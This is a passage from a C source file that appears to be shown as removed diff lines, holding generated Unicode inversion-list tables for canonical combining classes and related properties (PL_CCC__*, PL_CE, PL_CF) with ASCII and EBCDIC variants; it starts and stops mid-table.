- 0x34F, - 0x350, - 0x370, - 0x483, - 0x488, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x610, - 0x61B, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x900, - 0x93C, - 0x93D, - 0x94D, - 0x94E, - 0x951, - 0x955, - 0x9BC, - 0x9BD, - 0x9CD, - 0x9CE, - 0xA3C, - 0xA3D, - 0xA4D, - 0xA4E, - 0xABC, - 0xABD, - 0xACD, - 0xACE, - 0xB3C, - 0xB3D, - 0xB4D, - 0xB4E, - 0xBCD, - 0xBCE, - 0xC4D, - 0xC4E, - 0xC55, - 0xC57, - 0xCBC, - 0xCBD, - 0xCCD, - 0xCCE, - 0xD3B, - 0xD3D, - 0xD4D, - 0xD4E, - 0xDCA, - 0xDCB, - 0xE38, - 0xE3B, - 0xE48, - 0xE4C, - 0xEB8, - 0xEBA, - 0xEC8, - 0xECC, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF71, - 0xF73, - 0xF74, - 0xF75, - 0xF7A, - 0xF7E, - 0xF80, - 0xF81, - 0xF82, - 0xF85, - 0xF86, - 0xF88, - 0xFC6, - 0xFC7, - 0x1037, - 0x1038, - 0x1039, - 0x103B, - 0x108D, - 0x108E, - 0x135D, - 0x1360, - 0x1714, - 0x1715, - 0x1734, - 0x1735, - 0x17D2, - 0x17D3, - 0x17DD, - 0x17DE, - 0x18A9, - 0x18AA, - 0x1939, - 0x193C, - 0x1A17, - 0x1A19, - 0x1A60, - 0x1A61, - 0x1A75, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABE, - 0x1B34, - 0x1B35, - 0x1B44, - 0x1B45, - 0x1B6B, - 0x1B74, - 0x1BAA, - 0x1BAC, - 0x1BE6, - 0x1BE7, - 0x1BF2, - 0x1BF4, - 0x1C37, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x20F1, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x3030, - 0x3099, - 0x309B, - 0xA66F, - 0xA670, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA806, - 0xA807, - 0xA8C4, - 0xA8C5, - 0xA8E0, - 0xA8F2, - 0xA92B, - 0xA92E, - 0xA953, - 0xA954, - 0xA9B3, - 0xA9B4, - 0xA9C0, - 0xA9C1, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAF6, - 0xAAF7, - 0xABED, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE20, - 0xFE30, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A0D, - 0x10A0E, - 0x10A0F, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11046, - 0x11047, - 0x1107F, - 0x11080, - 0x110B9, - 0x110BB, - 0x11100, - 0x11103, - 0x11133, - 0x11135, - 0x11173, - 0x11174, - 0x111C0, - 0x111C1, - 0x111CA, - 0x111CB, - 0x11235, - 0x11237, - 0x112E9, - 0x112EB, - 0x1133C, - 0x1133D, - 0x1134D, - 0x1134E, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11442, - 0x11443, - 0x11446, - 0x11447, - 0x114C2, - 0x114C4, - 0x115BF, - 0x115C1, - 0x1163F, - 0x11640, - 0x116B6, - 0x116B8, - 0x1172B, - 0x1172C, - 0x11A34, - 0x11A35, - 0x11A47, - 0x11A48, - 0x11A99, - 0x11A9A, - 0x11C3F, - 0x11C40, - 0x11D42, - 0x11D43, - 0x11D44, - 0x11D46, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x1BC9E, - 0x1BC9F, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B -}; - -static const UV PL_CCC__1_invlist[] = { /* for all charsets */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x334, - 0x339, - 0x1CD4, - 0x1CD5, - 0x1CE2, - 0x1CE9, - 0x20D2, - 0x20D4, - 0x20D8, - 0x20DB, - 0x20E5, - 0x20E7, - 0x20EA, - 0x20EC, - 0x10A39, - 0x10A3A, - 0x16AF0, - 0x16AF5, - 0x1BC9E, - 0x1BC9F, - 0x1D167, - 0x1D16A -}; - -static const UV PL_CCC__10_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5B0, - 0x5B1 -}; - -static const UV PL_CCC__103_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xE38, - 0xE3A -}; - -static const UV PL_CCC__107_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xE48, - 0xE4C -}; - -static const UV PL_CCC__11_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5B1, - 0x5B2 -}; - -static const UV PL_CCC__118_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xEB8, - 0xEBA -}; - -static const UV PL_CCC__12_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5B2, - 0x5B3 -}; - -static const UV PL_CCC__122_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xEC8, - 0xECC -}; - -static const UV PL_CCC__129_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF71, - 0xF72 -}; - -static const UV PL_CCC__13_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5B3, - 0x5B4 -}; - -static const UV PL_CCC__130_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF72, - 0xF73, - 0xF7A, - 0xF7E, - 0xF80, - 0xF81 -}; - -static const UV PL_CCC__132_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF74, - 0xF75 -}; - -static const UV PL_CCC__133_invlist[] = { /* for ASCII/Latin1 */ - 0, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ -}; - -static const UV PL_CCC__14_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5B4, - 0x5B5 -}; - -static const UV PL_CCC__15_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5B5, - 0x5B6 -}; - -static const UV PL_CCC__16_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5B6, - 0x5B7 -}; - -static const UV PL_CCC__17_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5B7, - 0x5B8 -}; - -static const UV PL_CCC__18_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5B8, - 0x5B9, - 0x5C7, - 0x5C8 -}; - -static const UV PL_CCC__19_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5B9, - 0x5BB -}; - -static const UV PL_CCC__20_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5BB, - 0x5BC -}; - -static const UV PL_CCC__202_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x321, - 0x323, - 0x327, - 0x329, - 0x1DD0, - 0x1DD1 -}; - -static const UV PL_CCC__21_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5BC, - 0x5BD -}; - -static const UV PL_CCC__214_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1DCE, - 0x1DCF -}; - -static const UV PL_CCC__216_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x31B, - 0x31C, - 0xF39, - 0xF3A, - 0x1D165, - 0x1D167, - 0x1D16E, - 0x1D173 -}; - -static const UV PL_CCC__22_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5BD, - 0x5BE -}; - -static const UV PL_CCC__23_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5BF, - 0x5C0 -}; - -static const UV PL_CCC__24_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5C1, - 0x5C2 -}; - -static const UV PL_CCC__25_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5C2, - 0x5C3 -}; - -static const UV PL_CCC__26_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFB1E, - 0xFB1F -}; - -static const UV PL_CCC__27_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x64B, - 0x64C, - 0x8F0, - 0x8F1 -}; - -static const UV PL_CCC__28_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x64C, - 0x64D, - 0x8F1, - 0x8F2 -}; - -static const UV PL_CCC__29_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x64D, - 0x64E, - 0x8F2, - 0x8F3 -}; - -static const UV PL_CCC__30_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x618, - 0x619, - 0x64E, - 0x64F -}; - -static const UV PL_CCC__31_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x619, - 0x61A, - 0x64F, - 0x650 -}; - -static const UV PL_CCC__32_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x61A, - 0x61B, - 0x650, - 0x651 -}; - -static const UV PL_CCC__33_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x651, - 0x652 -}; - -static const UV PL_CCC__34_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x652, - 0x653 -}; - -static const UV PL_CCC__35_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x670, - 0x671 -}; - -static const UV PL_CCC__36_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x711, - 0x712 -}; - -static const UV PL_CCC__7_invlist[] = { /* for all charsets */ - 47, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x93C, - 0x93D, - 0x9BC, - 0x9BD, - 0xA3C, - 0xA3D, - 0xABC, - 0xABD, - 0xB3C, - 0xB3D, - 0xCBC, - 0xCBD, - 0x1037, - 0x1038, - 0x1B34, - 0x1B35, - 0x1BE6, - 0x1BE7, - 0x1C37, - 0x1C38, - 0xA9B3, - 0xA9B4, - 0x110BA, - 0x110BB, - 0x11173, - 0x11174, - 0x111CA, - 0x111CB, - 0x11236, - 0x11237, - 0x112E9, - 0x112EA, - 0x1133C, - 0x1133D, - 0x11446, - 0x11447, - 0x114C3, - 0x114C4, - 0x115C0, - 0x115C1, - 0x116B7, - 0x116B8, - 0x11D42, - 0x11D43, - 0x1E94A, - 0x1E94B -}; - -static const UV PL_CCC__8_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3099, - 0x309B -}; - -static const UV PL_CCC__84_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xC55, - 0xC56 -}; - -static const UV PL_CCC__9_invlist[] = { /* for all charsets */ - 97, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x94D, - 0x94E, - 0x9CD, - 0x9CE, - 0xA4D, - 0xA4E, - 0xACD, - 0xACE, - 0xB4D, - 0xB4E, - 0xBCD, - 0xBCE, - 0xC4D, - 0xC4E, - 0xCCD, - 0xCCE, - 0xD3B, - 0xD3D, - 0xD4D, - 0xD4E, - 0xDCA, - 0xDCB, - 0xE3A, - 0xE3B, - 0xF84, - 0xF85, - 0x1039, - 0x103B, - 0x1714, - 0x1715, - 0x1734, - 0x1735, - 0x17D2, - 0x17D3, - 0x1A60, - 0x1A61, - 0x1B44, - 0x1B45, - 0x1BAA, - 0x1BAC, - 0x1BF2, - 0x1BF4, - 0x2D7F, - 0x2D80, - 0xA806, - 0xA807, - 0xA8C4, - 0xA8C5, - 0xA953, - 0xA954, - 0xA9C0, - 0xA9C1, - 0xAAF6, - 0xAAF7, - 0xABED, - 0xABEE, - 0x10A3F, - 0x10A40, - 0x11046, - 0x11047, - 0x1107F, - 0x11080, - 0x110B9, - 0x110BA, - 0x11133, - 0x11135, - 0x111C0, - 0x111C1, - 0x11235, - 0x11236, - 0x112EA, - 0x112EB, - 0x1134D, - 0x1134E, - 0x11442, - 0x11443, - 0x114C2, - 0x114C3, - 0x115BF, - 0x115C0, - 0x1163F, - 0x11640, - 0x116B6, - 0x116B7, - 0x1172B, - 0x1172C, - 0x11A34, - 0x11A35, - 0x11A47, - 0x11A48, - 0x11A99, - 0x11A9A, - 0x11C3F, - 0x11C40, - 0x11D44, - 0x11D46 -}; - -static const UV PL_CCC__91_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xC56, - 0xC57 -}; - -static const UV PL_CCC__A_invlist[] = { /* for all charsets */ - 221, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x300, - 0x315, - 0x33D, - 0x345, - 0x346, - 0x347, - 0x34A, - 0x34D, - 0x350, - 0x353, - 0x357, - 0x358, - 0x35B, - 0x35C, - 0x363, - 0x370, - 0x483, - 0x488, - 0x592, - 0x596, - 0x597, - 0x59A, - 0x59C, - 0x5A2, - 0x5A8, - 0x5AA, - 0x5AB, - 0x5AD, - 0x5AF, - 0x5B0, - 0x5C4, - 0x5C5, - 0x610, - 0x618, - 0x653, - 0x655, - 0x657, - 0x65C, - 0x65D, - 0x65F, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E3, - 0x6E4, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EB, - 0x6ED, - 0x730, - 0x731, - 0x732, - 0x734, - 0x735, - 0x737, - 0x73A, - 0x73B, - 0x73D, - 0x73E, - 0x73F, - 0x742, - 0x743, - 0x744, - 0x745, - 0x746, - 0x747, - 0x748, - 0x749, - 0x74B, - 0x7EB, - 0x7F2, - 0x7F3, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x8D4, - 0x8E2, - 0x8E4, - 0x8E6, - 0x8E7, - 0x8E9, - 0x8EA, - 0x8ED, - 0x8F3, - 0x8F6, - 0x8F7, - 0x8F9, - 0x8FB, - 0x900, - 0x951, - 0x952, - 0x953, - 0x955, - 0xF82, - 0xF84, - 0xF86, - 0xF88, - 0x135D, - 0x1360, - 0x17DD, - 0x17DE, - 0x193A, - 0x193B, - 0x1A17, - 0x1A18, - 0x1A75, - 0x1A7D, - 0x1AB0, - 0x1AB5, - 0x1ABB, - 0x1ABD, - 0x1B6B, - 0x1B6C, - 0x1B6D, - 0x1B74, - 0x1CD0, - 0x1CD3, - 0x1CDA, - 0x1CDC, - 0x1CE0, - 0x1CE1, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DC2, - 0x1DC3, - 0x1DCA, - 0x1DCB, - 0x1DCD, - 0x1DD1, - 0x1DF6, - 0x1DFB, - 0x1DFC, - 0x1DFE, - 0x1DFF, - 0x20D0, - 0x20D2, - 0x20D4, - 0x20D8, - 0x20DB, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E7, - 0x20E8, - 0x20E9, - 0x20EA, - 0x20F0, - 0x20F1, - 0x2CEF, - 0x2CF2, - 0x2DE0, - 0x2E00, - 0xA66F, - 0xA670, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA8E0, - 0xA8F2, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB4, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xFE20, - 0xFE27, - 0xFE2E, - 0xFE30, - 0x10376, - 0x1037B, - 0x10A0F, - 0x10A10, - 0x10A38, - 0x10A39, - 0x10AE5, - 0x10AE6, - 0x11100, - 0x11103, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x16B30, - 0x16B37, - 0x1D185, - 0x1D18A, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E944, - 0x1E94A -}; - -static const UV PL_CCC__AL_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5AE, - 0x5AF, - 0x18A9, - 0x18AA, - 0x1DF7, - 0x1DF9, - 0x302B, - 0x302C -}; - -static const UV PL_CCC__AR_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x315, - 0x316, - 0x31A, - 0x31B, - 0x358, - 0x359, - 0x1DF6, - 0x1DF7, - 0x302C, - 0x302D -}; - -static const UV PL_CCC__B_invlist[] = { /* for all charsets */ - 145, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x316, - 0x31A, - 0x31C, - 0x321, - 0x323, - 0x327, - 0x329, - 0x334, - 0x339, - 0x33D, - 0x347, - 0x34A, - 0x34D, - 0x34F, - 0x353, - 0x357, - 0x359, - 0x35B, - 0x591, - 0x592, - 0x596, - 0x597, - 0x59B, - 0x59C, - 0x5A2, - 0x5A8, - 0x5AA, - 0x5AB, - 0x5C5, - 0x5C6, - 0x655, - 0x657, - 0x65C, - 0x65D, - 0x65F, - 0x660, - 0x6E3, - 0x6E4, - 0x6EA, - 0x6EB, - 0x6ED, - 0x6EE, - 0x731, - 0x732, - 0x734, - 0x735, - 0x737, - 0x73A, - 0x73B, - 0x73D, - 0x73E, - 0x73F, - 0x742, - 0x743, - 0x744, - 0x745, - 0x746, - 0x747, - 0x748, - 0x749, - 0x7F2, - 0x7F3, - 0x859, - 0x85C, - 0x8E3, - 0x8E4, - 0x8E6, - 0x8E7, - 0x8E9, - 0x8EA, - 0x8ED, - 0x8F0, - 0x8F6, - 0x8F7, - 0x8F9, - 0x8FB, - 0x952, - 0x953, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xFC6, - 0xFC7, - 0x108D, - 0x108E, - 0x193B, - 0x193C, - 0x1A18, - 0x1A19, - 0x1A7F, - 0x1A80, - 0x1AB5, - 0x1ABB, - 0x1ABD, - 0x1ABE, - 0x1B6C, - 0x1B6D, - 0x1CD5, - 0x1CDA, - 0x1CDC, - 0x1CE0, - 0x1CED, - 0x1CEE, - 0x1DC2, - 0x1DC3, - 0x1DCA, - 0x1DCB, - 0x1DCF, - 0x1DD0, - 0x1DF9, - 0x1DFA, - 0x1DFD, - 0x1DFE, - 0x1DFF, - 0x1E00, - 0x20E8, - 0x20E9, - 0x20EC, - 0x20F0, - 0xA92B, - 0xA92E, - 0xAAB4, - 0xAAB5, - 0xFE27, - 0xFE2E, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10A0D, - 0x10A0E, - 0x10A3A, - 0x10A3B, - 0x10AE6, - 0x10AE7, - 0x1D17B, - 0x1D183, - 0x1D18A, - 0x1D18C, - 0x1E8D0, - 0x1E8D7 -}; - -static const UV PL_CCC__BL_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x302A, - 0x302B -}; - -static const UV PL_CCC__BR_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x59A, - 0x59B, - 0x5AD, - 0x5AE, - 0x1939, - 0x193A, - 0x302D, - 0x302E -}; - -static const UV PL_CCC__DA_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x35D, - 0x35F, - 0x360, - 0x362, - 0x1DCD, - 0x1DCE -}; - -static const UV PL_CCC__DB_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x35C, - 0x35D, - 0x35F, - 0x360, - 0x362, - 0x363, - 0x1DFC, - 0x1DFD -}; - -static const UV PL_CCC__IS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x345, - 0x346 -}; - -static const UV PL_CCC__L_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x302E, - 0x3030 -}; - -static const UV PL_CCC__R_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1D16D, - 0x1D16E -}; - -static const UV PL_CE_invlist[] = { /* for all charsets */ - 67, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x958, - 0x960, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB5C, - 0xB5E, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF76, - 0xF77, - 0xF78, - 0xF79, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x2ADC, - 0x2ADD, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB20, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB4F, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_CF_invlist[] = { /* for ASCII/Latin1 */ - 37, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAD, - 0xAE, - 0x600, - 0x606, - 0x61C, - 0x61D, - 0x6DD, - 0x6DE, - 0x70F, - 0x710, - 0x8E2, - 0x8E3, - 0x180E, - 0x180F, - 0x200B, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0xFEFF, - 0xFF00, - 0xFFF9, - 0xFFFC, - 0x110BD, - 0x110BE, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CF_invlist[] = { /* for EBCDIC 1047 */ - 37, /* Number of elements */ - 